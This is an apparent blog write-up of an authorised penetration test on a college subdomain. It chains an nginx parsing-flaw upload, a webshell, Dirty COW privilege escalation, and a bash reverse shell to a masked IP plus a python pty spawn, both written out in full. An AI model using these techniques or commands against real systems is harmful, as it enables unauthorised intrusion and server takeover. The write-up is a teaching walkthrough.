实战渗透之对某学院的一次授权渗透
2021-09-21 13:29:18 Author: mp.weixin.qq.com(查看原文) 阅读量:22 收藏

0x00-前言：

今天这个主角呢是一个edu上的的子域（已授权），目前该站点漏洞已修复，并且不久前已关停，所以各位小伙伴就不要想着漏洞复现了，发这篇文章的目点是给小伙伴们一些搞站的思路，废话不多说我们直接开干吧。
0x01-Webshell之路：
老规矩，我们先来看一下这个站点长什么样（原谅打码严重），这是一个学院的视频发布的子站，已经有一段时间没更新了。。。。但这并不影响我们搞他。

扫描发现这里正好有一个用户登录的接口，我们直接注册一个用户上去，看看这个站点里面有什么东西。


成功登录后，进入用户管理界面，发现有用的地方只有一个头像上传的地方，我们就先来测试一下能不能直接上传一个php文件，或者上传绕过一下。

经过我一番折腾呢，发现这个站过滤写的还是比较好的，没有办法直接上传php文件，也没有办法绕过，到此我已经准备放弃这个上传点了，准备从其他方面入手看一下。
但是不甘心的冒哥呀，在最后放弃阶段还是在数据包中添加了一句<?php phpinfo();?>，不修改其它地方，直接上传上去。看看能不能有解析漏洞，那么根据的前期信息收集，该站点使用的是nginx，我们也就只能尝试一下nginx的解析漏洞了。

根据nginx解析漏洞利用的方法，我们直接在上传的文件名后面加/.php就可以测试出是否存在解析漏洞，具体漏洞原理和利用方法可以直接百度nginx解析漏洞有更加详细的介绍。
我们试一下这个站点能不能用解析漏洞，直接在url后+/.php，惊喜的是直接打印出了phpinfo信息！！！不错，不错（功夫不负有心人那），还好没有放弃。

我们直接写个一句话过去，再使用经典菜刀连上去。

连上shell之后发现服务器是一个Linux，我们先信息收集一波，最终获取到服务器以下信息：

1）当前shell权限是nginx

2）服务器有公网IP

3）Linux版本是：Centos6.5

4）内核版本为：2.6.32-431.el6.x86_64

得到了这些信息之后，我们根据经验判断，Centos6.5是可以提权的，我们直接祭出脏牛大法，给他来个提权吧。

0x02-脏牛提权大法

我们直接把编译好的脏牛提权脚本放入到目标服务器tmp目录，给执行权限，然后直接运行，后面跟的是提权之后的用户密码。

等待三四分钟，我们再开一个终端，去cat一下passwd文件，就会发现root用户已经被替换成firefart了，如图 此时说明提权已经成功。我们可以直接用ssh登录到服务器中。

可是问题往往没有那么简单，这台服务器开了防火墙并且ssh也被过滤掉了，我们没有办法直接用firefart用户登录上去。但这也并不影响我们操作，我们可以直接su到root用户上去。

但是在su的过程中呢，往往是有坑的，如图 在执行su - firefart命令后总是提示需要tty才能切换，因为没有tty就无法在shell里进行交互输入。这个坑也一直困扰了我很长时间，不过在长期的提权摸索中我总结出来一套方法。

我们先利用bash反弹一个shell到公网服务器上，我这边是在kali上挂了一个代理，直接反弹到kali上面去了，bash反弹shell语句如下：

bash -i >& /dev/tcp/X.X.X.X/8880 0>&1


反弹过来shell之后， 我们运行python的进入tty命令。

python -c 'import pty; pty.spawn("/bin/sh")'


那么这个时候再去su - firefart，就会直接让你输入密码了，我们直接输入提权时设置的密码asdf00.com，就可以成功登陆到目标服务器了。

最后打扫一下战场，溜了。。。。

0x03-总结

这次渗透还算比较完整，从文件上传找到nginx解析漏洞，拿到webshell之后又进行了一次Linux的提权，整个过程还是比较完整的，提权部分也写的比较详细，主要是为了照顾小白，如果大家有什么不懂得地方，可以在公众号中给我留言。
最后，文章虽然还是比较水（请大佬轻喷），但还望各位看官，点点关注哦，小弟感激不尽~~

文章来源: http://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247485017&idx=3&sn=2e3d1918f83d4b7477d362c3fa2e2a40&chksm=e9aa1b9bdedd928dc7af276fe2492904dcc85f30e21a2fc7ebc281abda0235c2e04d3dc9d388#rd
如有侵权请联系:admin#unsafe.sh